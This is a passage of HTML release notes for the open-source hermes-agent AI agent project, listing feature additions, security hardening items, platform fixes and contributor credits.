<li><code>/version</code> slash command; <code>/billing</code> interactive terminal billing (TUI + CLI); show time since last final agent response on the status bar; persist resolved approval/clarify prompts in scrollback (<a href="https://github.com/NousResearch/hermes-agent/pull/40214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40214/hovercard">#40214</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45449/hovercard">#45449</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44265" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44265/hovercard">#44265</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44702/hovercard">#44702</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Lock hermes worktrees so concurrent processes can't clobber them; display custom profile alias names in list/show; clone profiles from any source (<a href="https://github.com/NousResearch/hermes-agent/pull/48699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48699/hovercard">#48699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40371/hovercard">#40371</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45630/hovercard">#45630</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Opt-in structured profile-build path on first contact; configurable per-platform system-prompt hints; configurable background memory/skill notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/41114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41114/hovercard">#41114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48630/hovercard">#48630</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47226/hovercard">#47226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>TUI: interactive Plugins Hub enable/disable overlay; session name in the terminal titlebar; paint approval/clarify/sudo/secret modals directly (not via throttle); wrap long approval commands instead of truncating (<a href="https://github.com/NousResearch/hermes-agent/pull/42965" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42965/hovercard">#42965</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43188/hovercard">#43188</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41155/hovercard">#41155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44691/hovercard">#44691</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>TTS: Gemini persona prompts + audio tags; xAI auto speech tags + speed/streaming knobs; Piper speaker_id; OGG for Telegram auto-TTS (<a href="https://github.com/NousResearch/hermes-agent/pull/43442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43442/hovercard">#43442</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49061" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49061/hovercard">#49061</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49062" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49062/hovercard">#49062</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49060/hovercard">#49060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41644" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41644/hovercard">#41644</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li><strong>image-to-image / editing</strong> in <code>image_generate</code> across all backends; shrink images to provider dimension limit (<a href="https://github.com/NousResearch/hermes-agent/pull/48705" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48705/hovercard">#48705</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45979" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45979/hovercard">#45979</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MCP: official <strong>Unreal Engine 5.8</strong> MCP server in the catalog; <strong>elicitation handler</strong> so MCP servers can prompt for mid-tool-call confirmation (payment/OAuth) on whichever surface owns the session — CLI/TUI/Telegram/Slack; expose late-connecting MCP tools to the agent between turns (cache-safe); keepalive ping for short-TTL HTTP sessions; block exfil-shaped / suspicious stdio configs before probe; capability-gate <code>tools/list</code> so prompt-only servers connect; preserve stdio argv passthrough + Windows env vars (<a href="https://github.com/NousResearch/hermes-agent/pull/48397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48397/hovercard">#48397</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49203/hovercard">#49203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49208" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49208/hovercard">#49208</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49221" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49221/hovercard">#49221</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46083" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46083/hovercard">#46083</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44550" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44550/hovercard">#44550</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44324" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44324/hovercard">#44324</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lgalabru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lgalabru">@lgalabru</a>)</li>
<li>Skills: <code>simplify-code</code> skill (parallel 3-agent code review &amp; cleanup) + risk-tiered application with Chesterton's Fence; find &amp; diff user-modified bundled skills; optional <strong>payments</strong> skills (Stripe Link, MPP, Projects); CLI-based shop skill; live per-source browse progress (<a href="https://github.com/NousResearch/hermes-agent/pull/41691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41691/hovercard">#41691</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49070" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49070/hovercard">#49070</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48286/hovercard">#48286</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31343" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31343/hovercard">#31343</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47309/hovercard">#47309</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43398/hovercard">#43398</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colinwren-stripe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colinwren-stripe">@colinwren-stripe</a>)</li>
<li>Curator: make skill consolidation opt-in (prune stays default-on) (<a href="https://github.com/NousResearch/hermes-agent/pull/47840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47840/hovercard">#47840</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Plugins: install from a subdirectory within a repo; accept browser-pasted GitHub URLs in <code>hermes plugins install</code>; <code>session:compress</code> lifecycle event + <code>thread_id</code>/<code>chat_type</code> in agent:start/end context (<a href="https://github.com/NousResearch/hermes-agent/pull/42963" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42963/hovercard">#42963</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33539" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33539/hovercard">#33539</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47252/hovercard">#47252</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41672" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41672/hovercard">#41672</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Memory/skill <strong>write approval</strong> gate (default off) — boolean <code>write_approval</code> replaces the tri-state <code>write_mode</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/38199" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38199/hovercard">#38199</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43354" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43354/hovercard">#43354</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🌐 Fleet, Relay &amp; Automation</h2>
<ul>
<li><strong>Managed scope</strong> — administrator-pinned, user-immutable config &amp; secrets from a root-owned <code>/etc/hermes</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/49098" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49098/hovercard">#49098</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Multiplex all profiles over one gateway process</strong> (opt-in) (<a href="https://github.com/NousResearch/hermes-agent/pull/48273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48273/hovercard">#48273</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>Pluggable CronScheduler</strong> + Chronos managed-cron provider (scale-to-zero) (<a href="https://github.com/NousResearch/hermes-agent/pull/48275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48275/hovercard">#48275</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>Automation Blueprints</strong> — parameterized automation templates across every surface (<a href="https://github.com/NousResearch/hermes-agent/pull/41309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41309/hovercard">#41309</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway-Gateway relay (phases 0-3): relay adapter + capability descriptor, connector⇄gateway channel auth + signed-HTTP inbound + enroll CLI, WS-only inbound, managed-boot self-provision client (<a href="https://github.com/NousResearch/hermes-agent/pull/48078" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48078/hovercard">#48078</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48147/hovercard">#48147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48294" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48294/hovercard">#48294</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48242" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48242/hovercard">#48242</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🐳 Docker, Nix &amp; Installer</h2>
<ul>
<li>s6: detect supervisor directly for gateway restart; register profile gateways without auto-starting; persist desired state; clear stale log locks (<a href="https://github.com/NousResearch/hermes-agent/pull/46290" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46290/hovercard">#46290</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46266" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46266/hovercard">#46266</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46292/hovercard">#46292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46289/hovercard">#46289</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Docker: optimize image size (.dockerignore, drop dev deps, split layers); pre-install matrix deps; supervised gateway uses <code>--replace</code>; harden hosted install tree against self-modification (<a href="https://github.com/NousResearch/hermes-agent/pull/38749" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38749/hovercard">#38749</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42413" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42413/hovercard">#42413</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47555/hovercard">#47555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47490" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47490/hovercard">#47490</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Nix: cold npm build fixes + auto-fix-lockfiles workflow; hashless npm deps via <code>importNpmLock</code>; refresh npmDepsHash after Electron 40.10.2 pin (<a href="https://github.com/NousResearch/hermes-agent/pull/41867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41867/hovercard">#41867</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48883/hovercard">#48883</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48457/hovercard">#48457</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Installer: clear unmerged git index before autostash; scope install-method stamp to the code tree (<a href="https://github.com/NousResearch/hermes-agent/pull/45515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45515/hovercard">#45515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48188/hovercard">#48188</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Fail closed on own-policy gateway adapters; fail closed for approval-button auth on Slack/Feishu/Discord when no allowlist is set (<a href="https://github.com/NousResearch/hermes-agent/pull/45634" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45634/hovercard">#45634</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41226/hovercard">#41226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Redact secrets in request debug dumps; withhold host metadata from public status; block exfil-shaped / suspicious MCP stdio configs before probe (<a href="https://github.com/NousResearch/hermes-agent/pull/46637" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46637/hovercard">#46637</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45642" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45642/hovercard">#45642</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46083" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46083/hovercard">#46083</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Close shell-escape denylist bypass + fail-closed on missing approval module; scrub operator environment before launching cua-driver MCP; sanitize env for cron job-script subprocesses; bound TodoStore content length/count; scan REST cron prompts for parity with the agent tool (<a href="https://github.com/NousResearch/hermes-agent/pull/40591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40591/hovercard">#40591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48423" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48423/hovercard">#48423</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49207" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49207/hovercard">#49207</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41648" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41648/hovercard">#41648</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41335" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41335/hovercard">#41335</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Bump urllib3 and PyJWT to clear CVEs; Langfuse redacts base64 data URIs instead of truncating into invalid base64 (<a href="https://github.com/NousResearch/hermes-agent/pull/40179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40179/hovercard">#40179</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43322" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43322/hovercard">#43322</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🪟 Windows</h2>
<ul>
<li>Dashboard <code>/chat</code> tab via ConPTY (<code>win_pty_bridge</code>) + tests; resolve PowerShell host instead of bare <code>powershell</code> for uv install; resolve <code>powershell.exe</code> by absolute path so Desktop install doesn't stall (<a href="https://github.com/NousResearch/hermes-agent/pull/42251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42251/hovercard">#42251</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48341" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48341/hovercard">#48341</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40927" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40927/hovercard">#40927</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Repair stale winget registration + refresh/merge PATH; kill hermes before recreating venv to release <code>_bcrypt.pyd</code> lock; read HERMES_HOME from the registry when env is stale; quarantine running <code>hermes.exe</code> during update repair (<a href="https://github.com/NousResearch/hermes-agent/pull/44084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44084/hovercard">#44084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45120/hovercard">#45120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46772/hovercard">#46772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40409" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40409/hovercard">#40409</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>JOB-breakaway watcher reliability + status --deep probes; handle Windows PTY stdin + detached WS frames; decode subprocess output as UTF-8; confirm-modal on native Windows (<a href="https://github.com/NousResearch/hermes-agent/pull/40909" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40909/hovercard">#40909</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41953/hovercard">#41953</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44328" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44328/hovercard">#44328</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42419" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42419/hovercard">#42419</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🐛 Notable Bug Fixes</h2>
<ul>
<li>Percent-encode non-ascii URL components; sanitize <code>:</code> in FTS5 queries so colon searches don't silently return empty (<a href="https://github.com/NousResearch/hermes-agent/pull/41430" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41430/hovercard">#41430</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40653" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40653/hovercard">#40653</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Preserve multimodal user content through crash-resilience persist; flatten multimodal content before provider sync; strip MEDIA directives from compressor input (<a href="https://github.com/NousResearch/hermes-agent/pull/47907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47907/hovercard">#47907</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44738" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44738/hovercard">#44738</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44708" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44708/hovercard">#44708</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Re-enter retry loop on genuine Nous 429 so the fallback guard runs; scope Nous tags to Nous auxiliary calls; suppress "Credit access paused" notice on free models (<a href="https://github.com/NousResearch/hermes-agent/pull/45136" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45136/hovercard">#45136</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45801" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45801/hovercard">#45801</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43669" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43669/hovercard">#43669</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: don't strict-scan script-injected output in no-skills jobs; resolve per-job provider "custom" to <code>providers.custom</code> instead of codex; repair cron ownership on container restart (<a href="https://github.com/NousResearch/hermes-agent/pull/43223" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43223/hovercard">#43223</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43505" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43505/hovercard">#43505</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41976/hovercard">#41976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><em>(300+ issues closed this window; full per-area fix list is exhaustive — these are the highest-impact.)</em></li>
</ul>
<h2>↩️ Reverted in this window (not shipping)</h2>
<ul>
<li><code>html-artifact</code> skill + sketch/architecture-diagram/concept-diagrams fold (<a href="https://github.com/NousResearch/hermes-agent/pull/48899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48899/hovercard">#48899</a>) — reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/49053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49053/hovercard">#49053</a>); absent on main.</li>
<li>Cron per-job profile support reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/43956" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43956/hovercard">#43956</a>); a nix patchPhase workaround reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/42151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42151/hovercard">#42151</a>).</li>
</ul>
<h2>👥 Contributors</h2>
<p>A huge thank-you to everyone who contributed to this release — <strong>245 contributors</strong> across commits, co-author trailers, and salvaged PRs.</p>
<h3>Core</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a></p>
<h3>Top community contributors (by merged PRs)</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — 92 PRs (desktop app maturity (shortcuts, notifications, watch-windows, themes))</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — 60 PRs (onboarding, model picker, cron env sanitization)</li>
